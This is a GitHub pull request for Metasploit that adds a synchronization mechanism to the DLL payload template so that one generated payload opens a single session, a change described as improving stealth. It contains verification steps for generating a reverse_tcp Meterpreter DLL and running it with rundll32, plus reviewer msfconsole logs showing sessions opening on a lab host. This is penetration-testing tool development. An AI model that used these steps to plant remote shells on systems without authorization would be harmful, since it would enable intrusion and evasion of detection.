Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add synchronization to the DLL payload template #14410

Merged
merged 4 commits into from Dec 4, 2020

Conversation

zeroSteiner
Copy link
Contributor

@zeroSteiner zeroSteiner commented Nov 19, 2020

This adds synchornization logic to the DLL payload template with the intention of preventing a payload generated by Metasploit to be run multiple times in parallel. The goal behind this is to execute and deliver exactly one session even in cases where the host process may load the DLL multiple times. This was the case when working on #14409. Sessions are great and all, but I don't think getting 6 or more at a time is super great for stealth.

The sync technique I'm proposing leverages handle inheritance, specifically to a named event. This named event will be randomized by Metasploit each time the payload DLL is generated, so even with the same datastore options and repeated exploit attempts, the user should get one session each time. I tried to document the technique through step by step comments in the code, so hopefully that explains how it works sufficiently. The technique does permit the payload DLL to deliver a session again once the original host process has exited and thus close the event handle.

One notable concern I have with this is that users that are generating their payload DLLs will no longer be able to execute them multiple times to yield a session each time. I don't think this is terribly common since folks looking to do this are probably using EXEs instead. In this case the first execution would yield a session, but subsequent executions would not while that original session is still running. I don't think there's a way around this since it's effectively the user creating the scenario that we're trying to avoid.

Less Important Changes

I also removed the old bash build script that would only compile the 32-bit version and replaced it with a batch script that will compile both the 32-bit and 64-bit versions. I also took this opportunity to increase the payload space from 2048 to 4096 and normalized whitespace within the template.

Verification

If you test this from a combined branch with #14409, those steps as written will work with the only change that you should get exactly 1 session and not multiple sessions. Additionally, each time the module is executed, a single new session should be opened.

  • Start msfconsole
  • Run: use payload/windows/meterpreter/reverse_tcp
  • Set the options as appropriate
  • Run: to_handler to start the handler
  • Run: generate -f dll -o /path/to/payload.x86.dll to generate the payload
  • Transfer the payload to a Windows system
  • On the target Windows system, run: rundll32 C:\Path\To\payload.x86.dll,Whatever to run the payload
    • If the host is 64-bit you'll need to run the appropriate rundll32 binary (I'm pretty sure there's a 32-bit equivalent)
  • See that you obtained exactly one session
  • Run the payload via rundll32 multiple times and see that no new sessions are created
  • Kill the original session from Metasploit, and run the payload a final time to see that a new session was created again

@gwillcox-r7
Copy link
Contributor

Looks like this works in my tests however the behavior of to_handler is odd as whilst it starts a job I'm not getting the shell again until after I call to_handler again, even though that job should continue allowing me to spawn new shells without having to constantly try spin up a new listener:

 ~/git/metasploit-framework │ @8a7da7fd ?3  ./msfconsole                                                            ✔ │ 13m 4s │ 2.7.2 Ruby 
                                                  
Call trans opt: received. 2-19-98 13:24:18 REC:Loc

     Trace program: running

           wake up, Neo...
        the matrix has you
      follow the white rabbit.

          knock, knock, Neo.

                        (`.         ,-,
                        ` `.    ,;' /
                         `.  ,'/ .'
                          `. X /.'
                .-;--''--.._` ` (
              .'            /   `
             ,           ` '   Q '
             ,         ,   `._    \
          ,.|         '     `-.;_'
          :  . `  ;    `  ` --,.._;
           ' `    ,   )   .'
              `._ ,  '   /_
                 ; ,''-,;' ``-
                  ``-..__``--`

                             https://metasploit.com


       =[ metasploit v6.0.17-dev-8a7da7fdb4               ]
+ -- --=[ 2075 exploits - 1123 auxiliary - 353 post       ]
+ -- --=[ 592 payloads - 45 encoders - 10 nops            ]
+ -- --=[ 7 evasion                                       ]

Metasploit tip: View missing module options with show missing

msf6 > use payload/windows/x64/meterpreter/reverse_tcp
msf6 payload(windows/x64/meterpreter/reverse_tcp) > set RHOST 172.28.47.180
RHOST => 172.28.47.180
msf6 payload(windows/x64/meterpreter/reverse_tcp) > show options

Module options (payload/windows/x64/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST                      yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port

msf6 payload(windows/x64/meterpreter/reverse_tcp) > use payload/windows/x64/meterpreter/bind_tcp
msf6 payload(windows/x64/meterpreter/bind_tcp) > show options

Module options (payload/windows/x64/meterpreter/bind_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LPORT     4444             yes       The listen port
   RHOST                      no        The target address

msf6 payload(windows/x64/meterpreter/bind_tcp) > set RHOST 172.28.47.180
RHOST => 172.28.47.180
msf6 payload(windows/x64/meterpreter/bind_tcp) > to_handler
[*] Payload Handler Started as Job 0
msf6 payload(windows/x64/meterpreter/bind_tcp) > 
[*] Started bind TCP handler against 172.28.47.180:4444

msf6 payload(windows/x64/meterpreter/bind_tcp) > generate -f dll -o payload.x64.dll
[*] Writing 8704 bytes to payload.x64.dll...
msf6 payload(windows/x64/meterpreter/bind_tcp) > 
[*] Sending stage (200262 bytes) to 172.28.47.180
[*] Meterpreter session 1 opened (0.0.0.0:0 -> 172.28.47.180:4444) at 2020-12-03 11:35:35 -0600

msf6 payload(windows/x64/meterpreter/bind_tcp) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > getuid
Server username: DESKTOP-KUO5CML\test
meterpreter > getprivs

Enabled Process Privileges
==========================

Name
----
SeChangeNotifyPrivilege
SeIncreaseWorkingSetPrivilege
SeShutdownPrivilege
SeTimeZonePrivilege
SeUndockPrivilege

meterpreter > background
[*] Backgrounding session 1...
msf6 payload(windows/x64/meterpreter/bind_tcp) > sessions -K 1
[*] Killing all sessions...
[*] 172.28.47.180 - Meterpreter session 1 closed.
[*] 172.28.47.180 - Meterpreter session 1 closed.  Reason: Died
msf6 payload(windows/x64/meterpreter/bind_tcp) > jobs

Jobs
====

  Id  Name                    Payload                           Payload opts
  --  ----                    -------                           ------------
  0   Exploit: multi/handler  windows/x64/meterpreter/bind_tcp  

msf6 payload(windows/x64/meterpreter/bind_tcp) > to_handler
[*] Payload Handler Started as Job 1
msf6 payload(windows/x64/meterpreter/bind_tcp) > 
[*] Started bind TCP handler against 172.28.47.180:4444
[*] Sending stage (200262 bytes) to 172.28.47.180
[*] Meterpreter session 2 opened (0.0.0.0:0 -> 172.28.47.180:4444) at 2020-12-03 11:39:19 -0600

msf6 payload(windows/x64/meterpreter/bind_tcp) > sessions -i 2
[*] Starting interaction with 2...

meterpreter > getuid
Server username: DESKTOP-KUO5CML\test
meterpreter > getprivs

Enabled Process Privileges
==========================

Name
----
SeChangeNotifyPrivilege
SeIncreaseWorkingSetPrivilege
SeShutdownPrivilege
SeTimeZonePrivilege
SeUndockPrivilege

meterpreter > exit
[*] Shutting down Meterpreter...

[*] 172.28.47.180 - Meterpreter session 2 closed.  Reason: User exit
msf6 payload(windows/x64/meterpreter/bind_tcp) > 

@zeroSteiner
Copy link
Contributor Author

That does look odd. Have you tried to reproduce it without these changes to see if it's related? If it's unrelated could you open an issue for it?

@gwillcox-r7
Copy link
Contributor

Huh so interestingly I got the same result on master:

 ~/git/metasploit-framework │ master ?3  git update                                                                     ✔ │ 4s │ 2.7.2 Ruby 
Switched to branch 'upstream-master'
Your branch is up to date with 'upstream/master'.
Already up to date.
Switched to branch 'master'
Your branch is up to date with 'origin/master'.
Current branch master is up to date.
Everything up-to-date
 ~/git/metasploit-framework │ master ?3  ./msfconsole                                                                   ✔ │ 3s │ 2.7.2 Ruby 
                                                  
Call trans opt: received. 2-19-98 13:24:18 REC:Loc

     Trace program: running

           wake up, Neo...
        the matrix has you
      follow the white rabbit.

          knock, knock, Neo.

                        (`.         ,-,
                        ` `.    ,;' /
                         `.  ,'/ .'
                          `. X /.'
                .-;--''--.._` ` (
              .'            /   `
             ,           ` '   Q '
             ,         ,   `._    \
          ,.|         '     `-.;_'
          :  . `  ;    `  ` --,.._;
           ' `    ,   )   .'
              `._ ,  '   /_
                 ; ,''-,;' ``-
                  ``-..__``--`

                             https://metasploit.com


       =[ metasploit v6.0.20-dev-5a80d3d649               ]
+ -- --=[ 2081 exploits - 1124 auxiliary - 354 post       ]
+ -- --=[ 592 payloads - 45 encoders - 10 nops            ]
+ -- --=[ 7 evasion                                       ]

Metasploit tip: Use the resource command to run 
commands from a file

msf6 > use payload/windows/x64/meterpreter/bind_tcp
msf6 payload(windows/x64/meterpreter/bind_tcp) > show options

Module options (payload/windows/x64/meterpreter/bind_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LPORT     4444             yes       The listen port
   RHOST                      no        The target address

msf6 payload(windows/x64/meterpreter/bind_tcp) > set RHOST 172.28.47.180
RHOST => 172.28.47.180
msf6 payload(windows/x64/meterpreter/bind_tcp) > to_handler
[*] Payload Handler Started as Job 0
msf6 payload(windows/x64/meterpreter/bind_tcp) > 
[*] Started bind TCP handler against 172.28.47.180:4444
[*] Sending stage (200262 bytes) to 172.28.47.180
[*] Meterpreter session 1 opened (0.0.0.0:0 -> 172.28.47.180:4444) at 2020-12-03 13:10:37 -0600

msf6 payload(windows/x64/meterpreter/bind_tcp) > sessions

Active sessions
===============

  Id  Name  Type                     Information                             Connection
  --  ----  ----                     -----------                             ----------
  1         meterpreter x64/windows  DESKTOP-KUO5CML\test @ DESKTOP-KUO5CML  0.0.0.0:0 -> 172.28.47.180:4444 (172.28.47.180)

msf6 payload(windows/x64/meterpreter/bind_tcp) > sessions -k 1
[*] Killing the following session(s): 1
[*] Killing session 1
[*] 172.28.47.180 - Meterpreter session 1 closed.
msf6 payload(windows/x64/meterpreter/bind_tcp) > jobs -K
Stopping all jobs...
msf6 payload(windows/x64/meterpreter/bind_tcp) > to_handler
[*] Payload Handler Started as Job 1
msf6 payload(windows/x64/meterpreter/bind_tcp) > 
[*] Started bind TCP handler against 172.28.47.180:4444

msf6 payload(windows/x64/meterpreter/bind_tcp) > generate -f dll -o payload.x64.try2.dll
[*] Writing 5120 bytes to payload.x64.try2.dll...
msf6 payload(windows/x64/meterpreter/bind_tcp) > 
[*] Sending stage (200262 bytes) to 172.28.47.180
[*] Meterpreter session 2 opened (0.0.0.0:0 -> 172.28.47.180:4444) at 2020-12-03 13:12:18 -0600

msf6 payload(windows/x64/meterpreter/bind_tcp) > 
msf6 payload(windows/x64/meterpreter/bind_tcp) > jobs

Jobs
====

  Id  Name                    Payload                           Payload opts
  --  ----                    -------                           ------------
  1   Exploit: multi/handler  windows/x64/meterpreter/bind_tcp  

msf6 payload(windows/x64/meterpreter/bind_tcp) > sessions -k
[-] Please specify valid session identifier(s)
msf6 payload(windows/x64/meterpreter/bind_tcp) > sessions -k 2
[*] Killing the following session(s): 2
[*] Killing session 2
[*] 172.28.47.180 - Meterpreter session 2 closed.
msf6 payload(windows/x64/meterpreter/bind_tcp) > sessions

Active sessions
===============

No active sessions.

msf6 payload(windows/x64/meterpreter/bind_tcp) > to_handler
[*] Payload Handler Started as Job 2
msf6 payload(windows/x64/meterpreter/bind_tcp) > 
[*] Started bind TCP handler against 172.28.47.180:4444
[*] Sending stage (200262 bytes) to 172.28.47.180
[*] Meterpreter session 3 opened (0.0.0.0:0 -> 172.28.47.180:4444) at 2020-12-03 13:14:47 -0600

msf6 payload(windows/x64/meterpreter/bind_tcp) > sessions -i 3
[*] Starting interaction with 3...

meterpreter > getuid
Server username: DESKTOP-KUO5CML\test
meterpreter > getprivs

Enabled Process Privileges
==========================

Name
----
SeChangeNotifyPrivilege
SeIncreaseWorkingSetPrivilege
SeShutdownPrivilege
SeTimeZonePrivilege
SeUndockPrivilege

meterpreter > 

I will test this again with the reverse shell payload though as I realized with a bind shell one may be stopped as the target may only be able to listen on that port once so its not a good test of the new features vs a reverse shell where the target could connect back to our listener multiple times. My fault for not realizing this 😓

@gwillcox-r7
Copy link
Contributor

Okay looks like old version of the code allows multiple connections back, does not have the same issue with to_handler as the bind payloads do:

msf6 payload(windows/x64/meterpreter/reverse_tcp) > to_handler
[*] Payload Handler Started as Job 4
msf6 payload(windows/x64/meterpreter/reverse_tcp) > 
[-] Handler failed to bind to 172.28.37.139:4444:-  -
[-] Handler failed to bind to 0.0.0.0:4444:-  -
[-] Exploit failed [bad-config]: Rex::BindFailed The address is already in use or unavailable: (0.0.0.0:4444).

msf6 payload(windows/x64/meterpreter/reverse_tcp) > 
[*] Sending stage (200262 bytes) to 172.28.47.180
[*] Meterpreter session 4 opened (172.28.37.139:4444 -> 172.28.47.180:50213) at 2020-12-03 13:22:28 -0600

msf6 payload(windows/x64/meterpreter/reverse_tcp) > 
[*] Sending stage (200262 bytes) to 172.28.47.180
[*] Meterpreter session 5 opened (172.28.37.139:4444 -> 172.28.47.180:50214) at 2020-12-03 13:22:45 -0600

msf6 payload(windows/x64/meterpreter/reverse_tcp) > 
[*] Sending stage (200262 bytes) to 172.28.47.180
[*] Meterpreter session 6 opened (172.28.37.139:4444 -> 172.28.47.180:50215) at 2020-12-03 13:22:53 -0600

msf6 payload(windows/x64/meterpreter/reverse_tcp) > sessions

Active sessions
===============

  Id  Name  Type                     Information                             Connection
  --  ----  ----                     -----------                             ----------
  4         meterpreter x64/windows  DESKTOP-KUO5CML\test @ DESKTOP-KUO5CML  172.28.37.139:4444 -> 172.28.47.180:50213 (172.28.47.180)
  5         meterpreter x64/windows  DESKTOP-KUO5CML\test @ DESKTOP-KUO5CML  172.28.37.139:4444 -> 172.28.47.180:50214 (172.28.47.180)
  6         meterpreter x64/windows  DESKTOP-KUO5CML\test @ DESKTOP-KUO5CML  172.28.37.139:4444 -> 172.28.47.180:50215 (172.28.47.180)

msf6 payload(windows/x64/meterpreter/reverse_tcp) > sessions -i 4
[*] Starting interaction with 4...

meterpreter > getuid
Server username: DESKTOP-KUO5CML\test
meterpreter > 

With the changes the reverse shells work as expected and one has to close down the current reverse shell and then open a new one for things to work. Note that any existing shells on the system will not connect back, so you have to spawn a new shell after closing the existing one for things to work. @zeroSteiner can you confirm if this is expected behavior or not?

Also note that the two connections you see at the beginning are from previous attempts so sessions 1 and 2 are not part of the second round of testing but are remaints from testing on master.

~/git/metasploit-framework │ master ?5  git checkout upstream/pr/14410                                            ✔ │ 14m 43s │ 2.7.2 Ruby 
Note: switching to 'upstream/pr/14410'.

You are in 'detached HEAD' state. You can look around, make experimental
changes and commit them, and you can discard any commits you make in this
state without impacting any branches by switching back to a branch.

If you want to create a new branch to retain commits you create, you may
do so (now or later) by using -c with the switch command. Example:

  git switch -c <new-branch-name>

Or undo this operation with:

  git switch -

Turn off this advice by setting config variable advice.detachedHead to false

HEAD is now at efa125bb23 Document the synchronization procedure
 ~/git/metasploit-framework │ @efa125bb ?5  git rebase upstream/pr/14409                                                     ✔ │ 2.7.2 Ruby 
First, rewinding head to replay your work on top of it...
Applying: Cleanup inconsistent whitespace in the DLL template
Applying: Add a synchronization primitive to the DLL template
Applying: Increase the payload space to 4096 within the DLL template
Applying: Document the synchronization procedure
 ~/git/metasploit-framework │ @c9c8bf8b ?5  ./msfconsole                                                                ✔ │ 7s │ 2.7.2 Ruby 
                                                  

Unable to handle kernel NULL pointer dereference at virtual address 0xd34db33f
EFLAGS: 00010046
eax: 00000001 ebx: f77c8c00 ecx: 00000000 edx: f77f0001
esi: 803bf014 edi: 8023c755 ebp: 80237f84 esp: 80237f60
ds: 0018   es: 0018  ss: 0018
Process Swapper (Pid: 0, process nr: 0, stackpage=80377000)


Stack: 90909090990909090990909090
       90909090990909090990909090
       90909090.90909090.90909090
       90909090.90909090.90909090
       90909090.90909090.09090900
       90909090.90909090.09090900
       ..........................
       cccccccccccccccccccccccccc
       cccccccccccccccccccccccccc
       ccccccccc.................
       cccccccccccccccccccccccccc
       cccccccccccccccccccccccccc
       .................ccccccccc
       cccccccccccccccccccccccccc
       cccccccccccccccccccccccccc
       ..........................
       ffffffffffffffffffffffffff
       ffffffff..................
       ffffffffffffffffffffffffff
       ffffffff..................
       ffffffff..................
       ffffffff..................


Code: 00 00 00 00 M3 T4 SP L0 1T FR 4M 3W OR K! V3 R5 I0 N5 00 00 00 00
Aiee, Killing Interrupt handler
Kernel panic: Attempted to kill the idle task!
In swapper task - not syncing


       =[ metasploit v6.0.17-dev-c9c8bf8b9a               ]
+ -- --=[ 2075 exploits - 1123 auxiliary - 353 post       ]
+ -- --=[ 592 payloads - 45 encoders - 10 nops            ]
+ -- --=[ 7 evasion                                       ]

Metasploit tip: Use the edit command to open the currently active module in your editor

msf6 > use payload/windows/x64/meterpreter/reverse_tcp
msf6 payload(windows/x64/meterpreter/reverse_tcp) > show options

Module options (payload/windows/x64/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST                      yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port

msf6 payload(windows/x64/meterpreter/reverse_tcp) > set LHOST 172.28.37.139
LHOST => 172.28.37.139
msf6 payload(windows/x64/meterpreter/reverse_tcp) > to_handler 
[*] Payload Handler Started as Job 0
msf6 payload(windows/x64/meterpreter/reverse_tcp) > 
[*] Started reverse TCP handler on 172.28.37.139:4444 

msf6 payload(windows/x64/meterpreter/reverse_tcp) > 
[*] Sending stage (200262 bytes) to 172.28.47.180
[*] Meterpreter session 1 opened (172.28.37.139:4444 -> 172.28.47.180:50227) at 2020-12-03 13:26:17 -0600
[*] Sending stage (200262 bytes) to 172.28.47.180
[*] Meterpreter session 2 opened (172.28.37.139:4444 -> 172.28.47.180:50228) at 2020-12-03 13:26:17 -0600

msf6 payload(windows/x64/meterpreter/reverse_tcp) > sessions -K
[*] Killing all sessions...
[*] 172.28.47.180 - Meterpreter session 1 closed.
[*] 172.28.47.180 - Meterpreter session 2 closed.
msf6 payload(windows/x64/meterpreter/reverse_tcp) > generate -f dll -o payload.x64.rev.try2.dll
[*] Writing 8704 bytes to payload.x64.rev.try2.dll...
msf6 payload(windows/x64/meterpreter/reverse_tcp) > 
[*] Sending stage (200262 bytes) to 172.28.47.180
[*] Meterpreter session 3 opened (172.28.37.139:4444 -> 172.28.47.180:50259) at 2020-12-03 13:29:07 -0600

msf6 payload(windows/x64/meterpreter/reverse_tcp) > sessions -K
[*] Killing all sessions...
[*] 172.28.47.180 - Meterpreter session 3 closed.
msf6 payload(windows/x64/meterpreter/reverse_tcp) > 
[*] Sending stage (200262 bytes) to 172.28.47.180
[*] Meterpreter session 4 opened (172.28.37.139:4444 -> 172.28.47.180:50266) at 2020-12-03 13:29:39 -0600

msf6 payload(windows/x64/meterpreter/reverse_tcp) > session -k 4
[-] Unknown command: session.
msf6 payload(windows/x64/meterpreter/reverse_tcp) > sessions -k 4
[*] Killing the following session(s): 4
[*] Killing session 4
[*] 172.28.47.180 - Meterpreter session 4 closed.
msf6 payload(windows/x64/meterpreter/reverse_tcp) > 
[*] Sending stage (200262 bytes) to 172.28.47.180
[*] Meterpreter session 5 opened (172.28.37.139:4444 -> 172.28.47.180:50268) at 2020-12-03 13:30:23 -0600

msf6 payload(windows/x64/meterpreter/reverse_tcp) > 

@zeroSteiner
Copy link
Contributor Author

Note that any existing shells on the system will not connect back, so you have to spawn a new shell after closing the existing one for things to work. @zeroSteiner can you confirm if this is expected behavior or not?

Yeah that's right. There's no timeout so you can't spawn a new rundll32 process to host the payload until the previous one (if it exists) has exited. You can't spawn multiple sessions concurrently from the same generated DLL by design.

Copy link
Contributor

@gwillcox-r7 gwillcox-r7 left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Overall looks good but did find one case where the code might accidentally allow a process to be spawned even though it shouldn't be. Rest of the code looks good.

data/templates/src/pe/dll/template.c Show resolved Hide resolved
data/templates/src/pe/dll/template.c Show resolved Hide resolved
@gwillcox-r7 gwillcox-r7 merged commit 9376acc into rapid7:master Dec 4, 2020
@gwillcox-r7 gwillcox-r7 added the rn-enhancement release notes enhancement label Dec 4, 2020
@gwillcox-r7
Copy link
Contributor

gwillcox-r7 commented Dec 4, 2020

Release Notes

Added synchronization to the DLL payload template for ensuring that even if a target machine loads a DLL multiple times, users will only get one session on the host, preventing cases where a user may get multiple shells from a single exploit, which can result in excessive activity that could easily reduce the stealthiness of a user's attack.

@@ -0,0 +1,14 @@
@echo off

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
Projects
None yet
Development

Successfully merging this pull request may close these issues.

None yet

3 participants